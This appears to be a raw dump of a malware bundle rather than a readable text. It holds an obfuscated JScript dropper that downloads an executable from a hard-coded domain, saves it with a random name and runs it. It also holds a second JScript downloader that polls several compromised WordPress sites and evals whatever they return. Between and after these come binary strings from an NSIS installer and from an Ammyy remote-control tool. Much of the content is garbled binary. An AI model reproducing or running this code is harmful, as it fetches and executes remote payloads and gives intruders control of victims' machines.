"zYTuAlXmLJwnWscapNGUDjy"+
"fCvStEeozYTuAlXmLJwnW(\"var:20wsh:20:3D:20nNGUDjyIOkfCvStEeozYTuAlXmLJwnWw:20ActivNGUDjyIOkfCvStEeozYTuAl"+
"XmLJwnWXObjNGUDjyIOkfCvSt"+
"EeozY"+
"TuAlXmLJwnWct:28:22wscript:2EshNGUDjyIOkfCvStEeozYTuAlXmLJwnWll:22:29:3B:0D:0Avar"+
":20sh:20:3D:20nNGU"+
"DjyIOkfCvStEeozYTuAlXmLJwnWw:20ActivNGUDjyIOkfCvStEeozYTuAlXmLJwnWXObjNGUDjyI"+
"OkfCvStEeozYTuAlXmLJwnWct:28:22shNGUDjyIOkfCvSt"+
"EeozYTuAlXmL"+
"JwnWll:2Eapplication:22:29:3B:0D"+
":0Avar:20HTTP:20:3D:20nNGUD"+
"IOkfCvStEeozYTuAlXmLJwnWw:20Ac"+
"tivNGUDjyIOkfCvStEeozYTuAlXmLJwnWXObjNGUDjyIOkfCvStEe"+
"ozYTuAlXmLJwnWc"+
":28:22MSXML:32:2EXMLHTTP:22:29:3B:0D:0Avar:20StrNGUDjyIOkfCvStEeozYTuAlXmLJwnWam:20:3D:20nNGU"+
"DjyIOkfCvStEeozYTuAlXmLJwnWw:20ActivNGUDjyIOkfCvStEeozYTuAlXmLJwnWXObjNGUDjyIOkfCvStEeozYTuAlXmLJwnWct:28:22ADODB:2EStrNGUDjyIOkfCvStEeozYTuAlXmLJwnW"+
"am:22:29:3B:0D:0Avar:20path:20:3D:20wsh:2"+
"ESpNGUDjyIOkfCvStEeozYTuAlXmLJwnWcialFo"+
"ldNGUDjyI"+
"OkfCvStEeozYTuAlXmLJwnWrs:28:"+
"22TNGUDjyIOkfCvStEeozYTuAlXmLJwnWmplatNGUDjyIOkfCvStEeozYTuAlXmLJ"+
"wnWs:22:29:2B:22:5C:5C:22:2B:28:28Math:2"+
"Erandom:"+
"28:29:2A:39:39:39:39:39:39:29:2B"+
":39"+
":39:39:39:7C:30:29:2"+
"B:22:2ENGUDjyIOkfCvStEeozYTuAlXmLJwnWxNGUDjyIOkfCvStEeozYTuAl"+
"XmLJwnW:22:3B:0D:0AHTTP:2EO"+
"pNGU"+
"DjyIOkfCv"+
"StEeozYTuAlXmLJwnWn:28:22GE"+
"22:2C:20:22http:3A:2F:2FdoomasNGUDjyIOkfCvStEeozYTuAlXmLJwnWrf"+
":2Etop:2Fadmi"+
"n:2Ephp:3Ff:3D:3"+
"4:30:34:22:2C:20fals"+
"NGUDjyIOkfCvStEeozY"+
"TuAlXm"+
"LJwnW:29:3B:20HT"+
"TP:2ESNGUDjyIOkfCvSt"+
"EeozYTuAlXmLJwnWnd:28:29:3B"+
":20if:20:"+
"28HTTP:2EStatus:20:3D:3D:20:32:30:30:29:20:7B:0D:0AStrNGUDjyIOkfCvStEeozYTuAlXmLJwnWam:2EOpNGUDjyIOkfCvStEeozYTuAlXmLJwnWn:28:29:3B:20StrNGUDjyIOk"+
"fCvStEeozYTuAlXmLJwnWa"+
"m:2ETypNGUDjyIO"+
"kfCvStEeozYTuAlXmLJwnW:20:3D:20:31:3B:20StrNGUDjyIOkfCvStEeozYTuAlXmLJwnWam"+
":2EWritNGUDjyIOkfCvStEeozYTuAlXmLJw"+
"nW:28HTTP:2ERNGUDjyIOkfCvStEeozYTuAlXmLJwnWsponsNG"+
"UDjyIOkfCvStEeozYTuAlXmLJwnWBody"+
":29:3B:2"+
"0:0D:0AStrNGUDjyIOkfCvStEeozYTuAlXmLJwnWam:2EPosition:20:3D:20:30:3B:20StrNGUDjyIOkfCvStEeozYTuAlXmLJwnWam:2ESavNGUDjyIOkfCvStEeoz"+
"YTuAlXmLJwnWToFilNGUDjyIOkfCvStEeozYTuAlXm"+
"LJwnW:28pa"+
"th:2C:20:32:29:"+
"3B:0D:0AStrNG"+
"UDjyIOkfCvStEeozY"+
"TuAlXm"+
"LJw"+
"nWam:2EClosNGUDjyIOkfCvStE"+
"eozYTuAlXm"+
"LJwnW:28:29:"+
"3B:20sh:"+
"2EShNGUDjyIOkfCvStEeozYTuAlXmLJwnWllExNGUDjyIOkfCv"+
"StEeozYTuAlXmLJwnWcutNGUDjyIOkfCvStEeozYTuAl"+
"XmLJwnW:28path:2C:20:22:2"+
"2:2C:20:22:22:2C:20:22opNGUDjyIOkfCvS"+
"tEe"+
"ozYTuAlXmLJw"+
"nWn:2"+
"2:2C:20:31:29:3B:20:7D\"));";
function SQBZkhtflAMqTXwUyH(CqivxOJAcjDglrVaNM, HbjOydXScprloQxaCq, FLVHrUYiedyKACtPS) { 
return CqivxOJAcjDglrVaNM.split(HbjOydXScprloQxaCq).join(FLVHrUYiedyKACtPS); }
var hPzUYGcaCsDJdBu = eval(SQBZkhtflAMqTXwUyH(xhHKyZCJLEVoDftw, "lVCyigcsvdfqSLuaAZjPYEbBQDWGHR", ""));
if (MXcuIwasfrlLthm() == false) {
WegVaqAkKDXFHBYtlp = SQBZkhtflAMqTXwUyH(WegVaqAkKDXFHBYtlp, "OXPjgQdSRWKlMhukfnraEALptGqcZH", ""); var KhTntySkOcxwizqJfUD = eval(WegVaqAkKDXFHBYtlp);
var TiMaLYIojEDRudO = eval(SQBZkhtflAMqTXwUyH(SQBZkhtflAMqTXwUyH(GWfqJXmNZLiHcEahps, ydajQEbHwIqJutSxiN, "%"), "NGUDjyIOkfCvStEeozYTuAlXmLJwnW", "e"));
!This program cannot be run in DOS mode.
aKZe%*46%*46%*46,R
6&*46,R
64*46%*56
6+*46>
6$*46>
6$*46Rich%*46
`.rdata
@.data
.ndata
@.reloc
 s695,&
PWSVh@
#Vhh2@
Instu_
softuV
NulluM	E
SUVWj 3
D$8PUh
u}9-d&
[j0Xjxf
D$$+D$
D$4+D$,P
PPPPPP
\u!f9O
QSUVWh
A@;E |
SHGetFolderPathW
SHFOLDER
SHAutoComplete
SHLWAPI
GetUserDefaultUILanguage
AdjustTokenPrivileges
LookupPrivilegeValueW
OpenProcessToken
RegDeleteKeyExW
ADVAPI32
MoveFileExW
GetDiskFreeSpaceExW
KERNEL32
[Rename]
Module32NextW
Module32FirstW
Process32NextW
Process32FirstW
CreateToolhelp32Snapshot
Kernel32.DLL
GetModuleBaseNameW
EnumProcessModules
EnumProcesses
PSAPI.DLL
MulDiv
DeleteFileW
FindFirstFileW
FindNextFileW
FindClose
SetFilePointer
MultiByteToWideChar
ReadFile
WriteFile
lstrlenA
WideCharToMultiByte
GetPrivateProfileStringW
WritePrivateProfileStringW
FreeLibrary
LoadLibraryExW
GetModuleHandleW
GlobalFree
GetExitCodeProcess
WaitForSingleObject
GlobalAlloc
ExpandEnvironmentStringsW
lstrcmpW
lstrcmpiW
CloseHandle
SetFileTime
CompareFileTime
SearchPathW
GetShortPathNameW
GetFullPathNameW
MoveFileW
SetCurrentDirectoryW
GetFileAttributesW
GetLastError
CreateDirectoryW
SetFileAttributesW
GetTickCount
CreateFileW
GetFileSize
GetModuleFileNameW
GetCurrentProcess
CopyFileW
ExitProcess
GetWindowsDirectoryW
GetTempPathW
GetCommandLineW
SetErrorMode
lstrcpynA
lstrlenW
lstrcpynW
GetDiskFreeSpaceW
GlobalUnlock
GlobalLock
CreateThread
LoadLibraryW
CreateProcessW
lstrcmpiA
GetTempFileNameW
lstrcatW
GetProcAddress
LoadLibraryA
GetModuleHandleA
OpenProcess
lstrcpyW
GetVersionExW
GetSystemDirectoryW
GetVersion
lstrcpyA
RemoveDirectoryW
lstrcmpA
KERNEL32.dll
EndPaint
DrawTextW
FillRect
GetClientRect
BeginPaint
DefWindowProcW
SendMessageW
InvalidateRect
EnableWindow
LoadImageW
SetWindowLongW
GetDlgItem
IsWindow
FindWindowExW
SendMessageTimeoutW
wsprintfW
ShowWindow
SetForegroundWindow
PostQuitMessage
SetWindowTextW
SetTimer
CreateDialogParamW
DestroyWindow
ExitWindowsEx
CharNextW
GetSysColor
GetWindowLongW
SetCursor
LoadCursorW
CheckDlgButton
GetAsyncKeyState
IsDlgButtonChecked
ScreenToClient
GetMessagePos
CallWindowProcW
IsWindowVisible
LoadBitmapW
CloseClipboard
SetClipboardData
EmptyClipboard
OpenClipboard
TrackPopupMenu
GetWindowRect
AppendMenuW
CreatePopupMenu
GetSystemMetrics
EndDialog
EnableMenuItem
GetSystemMenu
SetClassLongW
IsWindowEnabled
SetWindowPos
DialogBoxParamW
GetClassInfoW
CreateWindowExW
SystemParametersInfoW
RegisterClassW
SetDlgItemTextW
GetDlgItemTextW
MessageBoxIndirectW
CharNextA
CharUpperW
CharPrevW
wvsprintfW
DispatchMessageW
PeekMessageW
wsprintfA
USER32.dll
SelectObject
SetTextColor
SetBkMode
CreateFontIndirectW
CreateBrushIndirect
DeleteObject
GetDeviceCaps
SetBkColor
GDI32.dll
SHFileOperationW
ShellExecuteW
SHGetFileInfoW
SHGetPathFromIDListW
SHBrowseForFolderW
SHGetSpecialFolderLocation
SHELL32.dll
RegDeleteKeyW
RegCloseKey
RegEnumKeyW
RegOpenKeyExW
RegEnumValueW
RegQueryValueExW
RegSetValueExW
RegCreateKeyExW
RegDeleteValueW
ADVAPI32.dll
ImageList_Destroy
ImageList_AddMasked
ImageList_Create
COMCTL32.dll
CoCreateInstance
OleUninitialize
OleInitialize
CoTaskMemFree
ole32.dll
VerQueryValueW
GetFileVersionInfoW
GetFileVersionInfoSizeW
VERSION.dll
wwwwwwwxp
wwwwwwww
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.46.5-Unicode</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="requireAdministrator" uiAccess="false"/></requestedPrivileges></security></trustInfo><compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1"><application><supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/><supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/></application></compatibility></assembly>
0.0;0I0]0j0
111;1D1Z1a1y1
4#464G4g4~4
5+5;5I5W5i5x5
6>6J6[6z6
797C7I7Y7|7
8,888J8e8y8
979D9L9w9
9::T:e:
;!;2;A;T;
;+<P<w<
?-?I?\?o?w?
020T0y0
1#101>1J1P1U1[1f1l1
2'2B2d2v2
4/4o4t4y4
4a5r5z5
7.7q7v7
8!808D8X8
9+9L9Z9
:-;[;c;l;
?1?<?X?t?
1 1$1(1,1014181<1@1D1H1L1P1T1X1\1`1d1h1l1p1t1x1|1
2 2$2(2,2024282<2@2D2H2N2S2c2
3"3(30383I3P3e3n3t3|3
4"4(4-42484I4]4c4i4o4w4~4
5&5,5b5k5p5v5
6.6T6c6
7$777@7
838:8G8N8o8t8~8
:#:3:>:D:I:N:Y:_:l:s:y:
;R;\;h;};
<9<Y<^<i<q<}<
=!=6=l=}=
>T>e>o>
?)?L?_?t?
0-0J0S0u0
131X1x1
2E2V2h2w2
383\3p3
4+4:4F4O4^4
6)676o6t6
8$9K9\9
;<;A;W;_;d;j;p;v;
? ?&?Q?
O0a0f0
1A1G1`1
4!4(454I4e4o4
5(5@5c5s5y5
646:6H6N6W6j6
7<7F7O7Y7e7p7y7
8!8'888p8z8
9 969D9i9u9
:$:.:4:F:L:R:X:_:e:m:x:~:
;';-;3;T;];t;
<$<-<9<C<M<R<]<a<g<l<r<
=+=5=;=@=F=T=Z=~=
>$>2>7><>A>J>O>U>Y>_>e>|>
>(?F?W?
1+2Z2f2l2x2
323?3L3Y3f3s3~3
4(4/4=4H4T4k4r4}4
5<6E6c6p6
7$7/7:7E7
8?8H8Z8a8m8
9&9S9z9
;(;F;M;e;z;
<0<9<O<Z<r<{<
=/=>=H=R=
= >+>U>c>j>
>#?7?G?d?o?
0"0^0n0s0
273E3N3
?#?'?+?/?3?7?;???C?G?K?O?S?
\0b0h0
0 0$0(0,0`0d0h0l0p0t0x0|0
NullsoftInstn
Iy70)[
$%\~i\
VmfA;Z
Z]eVi^
lhJ1@`[eKD
T]PjKZ
aj4D=r
/@82"K
0DdDDc
neO+bm{
X^M%T.
8@%6}1
4[`u`K>;
'>c Pw7
 /QI#+
lP&ruPN
V{hBJ@-
	Oc.Ss
p=D@CA
(AHPRs
_	Z;+\
y[ncAo
_y_JK7:
2e!=uJ
@Gb,c6m
Xv8_&LBD
2~^w(A
E$@ *#
A=bqqk
E_G.-sQ
rQf=mH
?.*zM!
OvO>/?
b'<%~nOS.
>.Xmi}
w\=o;h
<hoV@uN
{kRUe]BT
var uuu = 10;while(uuu<999999) {uuu++;}
var ijdl = "MSXML2.XMLHTTP";
var dfs = WScript.CreateObject(ijdl);
var joshua = ['/', 'HGF', "ZRAMD", ":", 'p', '', 'KKK', 'a', "T", '', "PILKU", 'FFFFFFFFFFFF'];
function ataaa(ziyter) {eval(ziyter+'');}
joshua[1] = "t";
joshua[6] = "S";
joshua[0+2] = "GETA";
joshua[3-1] = joshua[2].substr(0, 3);
var x = ["riolatravel.ru/wp-content/uploads/2017/03","mustafakemalerturk.com/wp-content/uploads/2017/03","varimed.com.tr/wp-content/uploads","blog.anemonhotels.com/wp-content/uploads/2017/03","siyahkusak.com/wp-content/uploads/2017/03"];
var gyt = 0;
var lub = joshua[0];
function muhter(kjg, lki) {return kjg.split(lki+'');}
while(true)
	if(gyt>=x.length)
		break;
		var feni = 'eucTLauMx9Hq4TGEg7IN971ZOmFKZnbFaMdPOYlmQVYx0EmgoJZ3V25the5rBGY6SW0ywY4pHLBf2UeUQozRy41ltItjPGwvJPomSXFrCzgTtKdo9mrntEqKAIQZaGMQ0sVlof4jCJlcHbFDy6jXcfKGlKgTZ32IZfF354QV4brGZhWB4nngiYGFXIQJ80VwNawsaXKs5Xq8PE4RHKAyTFaGM9ob3zBRqW0zFMbpu';
		var ghyt = false;
		var tjkh = x[gyt+1-1];
		var nami = "counter";
		var zmei = "http";
		var figson = zmei + ":"+"//" + tjkh + '/'+nami+'?'+feni;
		grohot(dfs,joshua[1+1]+"", figson, ghyt);
		dfs.send();
		var r = dfs.responseText;
		var rima = 10 * 50;
		var got = 50+450+rima;
		var fontu = r.length;
		var emisogh = 12;
		if ((fontu - got * 2) > (emisogh+emisogh-(22+2) - got) && (r.indexOf(feni)-1) > (got-1002))
			var jiki = muhter(r, feni);
			var guznam = fuuu(jiki, 'a');
			ataaa(guznam);
			break;
	catch(e)
	gyt++;
function fuuu(fuu1, fuu2) {return fuu1.join(fuu2);}
function grohot(hunko,b1,b2,b3) {hunko.open(b1, b2, b3);}MZ
!This program cannot be run in DOS mode.
.rdata
WVVVVh
8"t'9u
<	u3j 
Yt#9^tu
9^xu%j
QQSVWj
PSWWWWh
VQVVVVPV
Yu3N!E
Kx0j X+E
PSh8:I
=RL--t+P
$VhX>I
j&h|@I
PWCWj%
j PVVh
PSSSSSSSFS
Sj0_WWj
SSWWPj
tNHt9Huo
YtAhTFI
E9^0W~	9^,|
9n0~	9^,~
9^0~	9^,|
9^0~	9^,|
teh GI
SVWh|HI
Sj j j
jdjHj"h
PWh|MI
QWSSSSSPS
YYh NI
jdYPQQ
QQPhtOI
QQSVW3
WShP(I
j^SPWj
9^ u'h
F,;F0s	8^$
F,;F0u2
N0+F43
WShD\I
t(90t$hP
9F<tFW
u$h4^I
F4+F8t>;
F4+F8t0
PSSSSSS
PSSSSSSS
t/Gf;}
PSVWj@
Wj,_Wj
PPPPPWh
ntKHt<Ht%
?.uUGGf
ntKHt<Ht%
SSWWWWh
t/Nt(Nt!Nt
t/Nt(Nt!Nt
trHt1Ht
t1Ht"-S
et3It'It
HtxHtgHtX
Ht!HHt
QQSUVWh
_^][YY
PSSj SSSS
uqh4^I
Sj0_WWj
SSWWPj2j
HHtkHt
8^8uTj8h
HHtkHt
HHtkHt
HHtkHt
WWWWhA
~$j\j/
f98t4WWWWWh
WVVVVj
SSSSSSh
SSSSWh
SSSSWh
SSSSWh
t,It$It
t@It*It"It
QQSVWj
SSSSSh
7tEHHt8
+tlIt]ItKIt<
AtGIt6It/It P
VVjdjdPPh
Q	:P	u
t!Hueh
QQSVWj 
N:QPQj
F,QPQj
9_(t!h(
u59^(t0S
ABBGG;
A0SVHW
KtBKt,Kt
t-+FLQQ
HtMHt>Ht/Ht R
f9<ZuB
@f9<Bt
\u	f9x
u<SVjU
QQSVWj
QQSVWj
t28^Hu!
WWjdjdPPh
t+ht"J
Ht}HtWHt1H
HtpHt:H
HtpHt:H
HtpHt:H
HtkHt<H
<1FF;u
)~l)~x
tjHt5Ht!H
u hx+H
8\uM@@
tNf9~Xu
Yt+W9}
Yu}9~4
j	X_^[
tfjLSP
~8j*WV
jzh,'J
9~Lu7WWWW
v(h<-J
It,Iu.
tF;F`r
L$,PRQ
NhhH0H
V\h(0H
QRhXAJ
F,_^[Y
D$ _^][
CLPWVU
u]9B$uX
uR9BduM
'9A`u"9
tx8^At
tS8^@uN
tSHt~H
NH_^][
T$HWSQVR
L$4WQUVS
|$$}$WP
O$_^][Y
l$$}-j
W(_^][
C(IH_^
T$@} VP
T$PPRV
t<Ht&Ht
T$$PRV
D$(QPW
L$,SUV
L$0SUV@W
NL9NLu 
QPSWVR
T$PQRP
D$$SUV
D$(;l$ 
\$(UVW
D$(CUSWP
9t$0v8
T$$PSRW
L$LPVQ
L$4SVW
L$491u
t9Ht&Ht
)9^$t'
T$ SUV
t9Ht%HuG
T$0uff9W u`f9W0uZf9W@uTf9WPuNf9W`uHf9WpuB
uYf9q uSf9q0uMf9q@uGf9qPuAf9q`u;f9qpu5
u%f9+u f9k
~(9~$u
W(9W$u
tZ9H tU9H$tP
9_|t93
Fdf+Fh
D$(8D*
T$LPQR
|$HPWS
T$(PQR
T$DPVS
T$LRWS
L$LQVS
|$ WUSV
D$$SUV
T$,RWV
T$,RWV
T$,RWV
L$,QWV
T$,RWV
L$ RUPj
T+3x%A
;D$<s!
T$,PQh
{4_^]3
~hWh$VJ
D$$PQV
T$hPQh
L$DQj	R
WPQURU
T$@PQR
N<j@RPh
VDj@PQh
V<j@PQh
FDj@QRh
SVWh4^
L$(QjgR
L$XSPQV
V,j@PQh
F4j@QRh
V\SPQR
T$<PQR
D$DQRP
L$\RWPQW
N`RPQP
V,j@PQh
F4j@QRh
F`QPPh
D$,333?
D$ 333?
T$$SQR
T$<PUQR
D$<QRP
L$8PRQP
V`QPRP
F,j@QRh
N4j@RPh
D$ PWRSQ
L$(RPQ
WPQURU
L$TRPQ
T$dPQRS
L$(RPQ
D$h333?
D$l333?
T$|PQR
D$xQRP
L$PRUPQU
FhQRUPU
L$lRPQ
\$hu(j
L$HRPQ
T$PPQR
T$HRQP
FhQRPWU
L$pRWPQW
FhQRWPW
L$lRSQP
T$lQSRP
SVQRPW
D$<SUV
D$TQRP
L$PUSQR
D$PQRP
T$(QRV
D$@_^][
D$$QRP
D$ UQRP
D$(SUV
L$8SUV
T$0VSQR
Kernel32.dll
CreateFileA
SetFilePointer
ReadFile
CloseHandle
WriteFile
GetModuleFileNameA
VirtualAlloc
VirtualFree
RtlFillMemory
GlobalAlloc
GlobalFree
Shell32.dll
SHGetSpecialFolderPathA
shlwapi.dll
PathAppendA
Wplugin.dll
HandleCode
Qkkbal
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
BKbhTb~XBK!;
BKbhTb~XBK!;
?u='@^
 deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly 
								
 inflate 1.1.4 Copyright 1995-2002 Mark Adler 
?333333
@333333
ffffff
ffffff
?333333
?333333
UUUUUU
?333333
hhctrl.ocx
CLSID\{ADB880A6-D8FF-11CF-9377-00AA003B7A11}\InprocServer32
WSAIoctl
WS2_32.dll
DeleteObject
DeleteDC
SelectObject
CreateCompatibleDC
CreateDIBitmap
BitBlt
SetBkMode
CreateFontIndirectA
DPtoLP
GetDeviceCaps
CreateFontA
CreateSolidBrush
GetStockObject
GetTextExtentPoint32W
SetBkColor
SetTextColor
ExtTextOutW
SetBrushOrgEx
SetTextAlign
CreatePatternBrush
TextOutW
SetBitmapBits
CreateDIBSection
GetObjectA
GetBitmapBits
ExtTextOutA
SelectClipRgn
CreateRectRgn
StretchBlt
SetStretchBltMode
GetDIBits
CreateCompatibleBitmap
RealizePalette
SelectPalette
CreatePalette
GetSystemPaletteEntries
GdiFlush
CombineRgn
CreateRectRgnIndirect
GetRegionData
GDI32.dll
LoadKeyboardLayoutA
LoadIconA
SwitchToThisWindow
SendMessageA
FindWindowW
MessageBoxA
ShowWindow
wsprintfA
DestroyIcon
DrawIconEx
LoadImageA
ReleaseDC
EnableWindow
DestroyWindow
SetWindowPos
SystemParametersInfoA
GetWindowRect
GetDlgItem
DestroyMenu
SetMenuItemInfoA
GetMenuItemInfoA
GetMenuItemCount
GetSubMenu
GetMenu
AppendMenuA
DrawMenuBar
MessageBoxW
GetMenuItemInfoW
GetSystemMetrics
GetSysColor
TrackPopupMenu
GetCursorPos
CreatePopupMenu
DefWindowProcW
PostQuitMessage
GetFocus
SetFocus
SetForegroundWindow
SetDlgItemTextW
GetKeyState
CheckMenuItem
EnableMenuItem
GetMenuItemID
SetMenuItemInfoW
SetWindowTextW
ScreenToClient
DispatchMessageA
TranslateMessage
IsDialogMessageA
GetMessageA
UpdateWindow
SetWindowLongW
CreateWindowExW
LoadMenuA
RegisterClassW
LoadCursorA
ClientToScreen
MapDialogRect
SendDlgItemMessageA
GetDlgItemInt
EndPaint
BeginPaint
MoveWindow
PostThreadMessageA
SetTimer
SetCursor
SetActiveWindow
AttachThreadInput
GetWindowThreadProcessId
GetForegroundWindow
GetWindowLongA
SetWindowLongA
GetParent
IsWindow
CreateWindowExA
GetClientRect
DrawEdge
DrawStateA
SendMessageW
InvalidateRect
RedrawWindow
GetSystemMenu
IsWindowUnicode
DefWindowProcA
CallWindowProcA
CallWindowProcW
DialogBoxParamA
CreateDialogParamW
EndDialog
DrawTextA
UnhookWindowsHookEx
SetWindowsHookExA
SetClipboardViewer
GetSysColorBrush
SetWindowPlacement
GetWindowPlacement
GetMenuState
AdjustWindowRectEx
ScrollWindowEx
IsIconic
ShowScrollBar
SetRect
PostMessageA
GetWindowLongW
KillTimer
GetWindowTextA
GetClassNameA
EnumWindows
InsertMenuItemA
LoadBitmapA
MapWindowPoints
ChangeClipboardChain
SetClassLongW
WindowFromPoint
GetWindow
SetScrollInfo
ShowWindowAsync
CloseClipboard
GetClipboardData
OpenClipboard
GetClipboardOwner
SetCursorPos
wsprintfW
MessageBeep
DestroyCursor
RegisterClassExW
GetAsyncKeyState
SetCapture
ReleaseCapture
SetWindowTextA
CreateAcceleratorTableA
TranslateAcceleratorA
DestroyAcceleratorTable
ToAsciiEx
GetKeyboardState
SetDlgItemInt
SetDlgItemTextA
keybd_event
SetThreadDesktop
LockWorkStation
MapVirtualKeyA
mouse_event
MsgWaitForMultipleObjects
PeekMessageA
GetDesktopWindow
RegisterClassExA
SetClipboardData
EmptyClipboard
GetThreadDesktop
GetUserObjectInformationA
CloseDesktop
OpenInputDesktop
EqualRect
GetCursorInfo
GetIconInfo
IsWindowVisible
IntersectRect
SystemParametersInfoW
SendMessageTimeoutA
VkKeyScanExA
OpenDesktopA
FindWindowA
USER32.dll
SHGetFolderPathA
SHGetFolderPathW
Shell_NotifyIconA
ShellExecuteA
SHGetPathFromIDListW
SHBrowseForFolderW
SHGetMalloc
ShellExecuteExW
SHGetFileInfoW
ShellExecuteW
SHGetSpecialFolderPathW
SHELL32.dll
??0Init@ios_base@std@@QAE@XZ
??1Init@ios_base@std@@QAE@XZ
??0_Winit@std@@QAE@XZ
??1_Winit@std@@QAE@XZ
MSVCP60.dll
__CxxFrameHandler
strlen
isspace
memchr
_errno
strtol
isdigit
strstr
memcpy
??2@YAPAXI@Z
_purecall
memset
malloc
sprintf
printf
fwrite
_CxxThrowException
_stricmp
isprint
tolower
strncpy
wcscpy
strcmp
strcpy
wcslen
memcmp
iswspace
wcsncmp
_ultow
wcschr
strchr
swprintf
strcat
strtoul
calloc
fclose
fflush
wcsncpy
wcsrchr
vsprintf
vswprintf
memmove
strrchr
strncmp
mbstowcs
wcscmp
wcsstr
iswdigit
_beginthreadex
_endthreadex
_i64tow
wcscat
realloc
fprintf
sscanf
getenv
_CIpow
_CIacos
MSVCRT.dll
??1type_info@@UAE@XZ
__dllonexit
_onexit
_except_handler3
?terminate@@YAXXZ
_XcptFilter
_acmdln
__getmainargs
_initterm
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
_controlfp
FreeContextBuffer
AcquireCredentialsHandleA
QuerySecurityPackageInfoA
CompleteAuthToken
InitializeSecurityContextA
FreeCredentialsHandle
Secur32.dll
SetupDiDestroyDeviceInfoList
SetupDiGetDeviceRegistryPropertyA
SetupDiEnumDeviceInfo
SetupDiGetClassDevsA
SetupDiClassGuidsFromNameA
SETUPAPI.dll
GetAdaptersInfo
iphlpapi.dll
ConvertSidToStringSidA
GetTokenInformation
OpenProcessToken
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
FreeSid
SetFileSecurityW
SetSecurityDescriptorDacl
InitializeSecurityDescriptor
SetEntriesInAclA
AllocateAndInitializeSid
ImpersonateLoggedOnUser
RevertToSelf
GetUserNameA
StartServiceCtrlDispatcherW
RegisterServiceCtrlHandlerExA
SetServiceStatus
SetTokenInformation
DuplicateTokenEx
CreateProcessAsUserW
QueryServiceStatus
CloseServiceHandle
OpenServiceA
OpenSCManagerA
CreateServiceW
DeleteService
ControlService
StartServiceA
StartServiceW
RegCreateKeyExA
RegQueryValueExW
RegSetValueExW
RegSetValueExA
RegDeleteKeyA
RegDeleteValueW
RegCreateKeyExW
RegEnumKeyExW
RegOpenKeyExW
ADVAPI32.dll
PathGetDriveNumberA
SHLWAPI.dll
GetOpenFileNameW
GetSaveFileNameW
comdlg32.dll
LoadUserProfileA
UnloadUserProfile
USERENV.dll
ImageList_Add
ImageList_Create
ImageList_Destroy
ImageList_Draw
PropertySheetW
CreatePropertySheetPageW
_TrackMouseEvent
CreateToolbarEx
ImageList_ReplaceIcon
ImageList_GetIconSize
COMCTL32.dll
InternetCloseHandle
InternetSetOptionA
InternetConnectA
InternetOpenA
HttpSendRequestA
HttpOpenRequestA
HttpQueryInfoA
InternetReadFile
WININET.dll
DSOUND.dll
GetTickCount
GetCurrentProcessId
GetCurrentThreadId
LocalFree
CloseHandle
GetLastError
GetCurrentProcess
GetVersionExA
SetProcessShutdownParameters
SetCurrentDirectoryW
CreateDirectoryW
GetLocaleInfoA
GetProcAddress
GetModuleHandleA
GetUserDefaultUILanguage
DeviceIoControl
CreateFileA
FindClose
FindFirstFileW
CreateFileW
GetTempPathW
DeleteFileW
MoveFileW
SystemTimeToFileTime
GetExitCodeThread
LocalAlloc
GetComputerNameA
GetModuleFileNameW
WideCharToMultiByte
MultiByteToWideChar
FormatMessageW
MulDiv
lstrcmpW
lstrcmpiW
CreateProcessW
GetStartupInfoW
GetFileAttributesW
CreateThread
WaitForSingleObject
WriteFile
SetFilePointer
GetFileSize
FreeLibrary
LoadLibraryA
Process32Next
Process32First
CreateToolhelp32Snapshot
OpenProcess
UpdateResourceA
EndUpdateResourceW
BeginUpdateResourceW
GetExitCodeProcess
SetLastError
ReadFile
WaitNamedPipeW
LoadLibraryW
lstrcatW
GetSystemDirectoryW
GetSystemTimeAsFileTime
CompareFileTime
GetSystemDirectoryA
SetUnhandledExceptionFilter
ExitProcess
CreateEventA
OpenEventA
SetEvent
ResetEvent
CreateMutexA
OpenMutexA
GetFileTime
SetFileTime
InitializeCriticalSection
DeleteCriticalSection
EnterCriticalSection
LeaveCriticalSection
TryEnterCriticalSection
GetLocalTime
LockResource
LoadResource
SizeofResource
FindResourceExA
QueryPerformanceFrequency
QueryPerformanceCounter
InterlockedIncrement
InterlockedDecrement
lstrlenA
lstrlenW
TerminateProcess
GlobalUnlock
GlobalLock
SystemTimeToTzSpecificLocalTime
FileTimeToSystemTime
GetFileSizeEx
SetEndOfFile
SetFilePointerEx
GlobalAlloc
GetDriveTypeW
RemoveDirectoryW
FindNextFileW
SetFileAttributesW
GetLogicalDrives
ProcessIdToSessionId
SleepEx
CreateDirectoryA
DeleteFileA
GlobalFree
IsBadReadPtr
lstrcmpA
LocalFileTimeToFileTime
lstrcpyA
GetCurrentDirectoryA
FindResourceA
DuplicateHandle
CreateSemaphoreA
SetThreadPriority
TlsSetValue
GetCurrentThread
TlsAlloc
ResumeThread
TlsGetValue
InterlockedExchange
GetStartupInfoA
KERNEL32.dll
_strnicmp
_strupr
_strlwr
_wcsicmp
Authorization: Basic %s
Proxy-Authorization: Basic %s
S:\Ammyy\sources\main\proxy\HttpBasicAuthObject.cpp
proxy-authenticate
www-authenticate
CONNECT
Proxy-Connection: Keep-Alive
Pragma: no-cache
CHttpClient::SendRequest2(%s, %s, %d) error: invalid host name.
CHttpClient::SendRequest2() failed: ERROR %u during authorization.
CHttpClient::SendRequest2() failed: HTTP Server returns error %s.
S:\Ammyy\sources\main\proxy\HttpClient.cpp
CHttpClient::ExecuteRequest() failed: ERROR %u while receiving data from socket.
CHttpClient::ExecuteRequest() failed: ERROR %u while sending data to socket.
CHttpClient::ReadSocket(): no data received during %u ms.
content-length
proxy-connection
connection
CHttpClient::ConnectSocket(): key 'Connection' has unexpected value '%s'
keep-alive
